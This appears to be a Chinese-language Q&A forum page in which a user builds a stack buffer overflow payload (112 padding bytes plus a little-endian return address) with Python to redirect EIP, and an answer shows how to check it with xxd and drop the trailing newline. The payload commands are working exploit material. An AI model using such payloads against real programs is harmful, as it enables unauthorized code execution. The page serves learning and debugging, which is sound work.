如何使用python生成缓冲区溢出的负载?

2024-05-15 09:13:56 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图引发缓冲区溢出,以便在C代码上执行函数。到目前为止,我已经设法找出什么是字节数接管EBP寄存器。接下来唯一的事情是将EIP的地址替换为我希望执行的函数。我试图用python生成这个负载。为此,我使用以下

python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload

这就是我得到的

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�

注意最后几个字符!我知道这不是我应该得到的。我想在EIP寄存器上运行的地址是0804863b。我必须把这个放在little endian上才能正常运行漏洞攻击。对此有何评论?由于这个原因不能进一步利用。。。


Tags: 函数代码地址事情寄存器x86缓冲区print
1条回答
网友
1楼 · 发布于 2024-05-15 09:13:56

我不知道你是怎么看你的攻击载荷文件的。但是你不应该只是把它转储到终端或者在编辑器中查看它,因为在这种情况下,数据将被解释为字符。相反,您应该对文件执行一些hexdump操作,例如使用xxd:

$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload
$ xxd attack_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
...
00000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000070: 3b86 0408 0a                             ;....

正如您在最后一行看到的,字节\x3b\x86\x04\x08实际上大部分是您所期望的。您可能不希望在文件末尾出现换行符\x0a(即\n),但python中的print就是这样添加的。如果您不想这样做,请不要使用print,但是:

$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")'  > attack_payload

相关问题 更多 >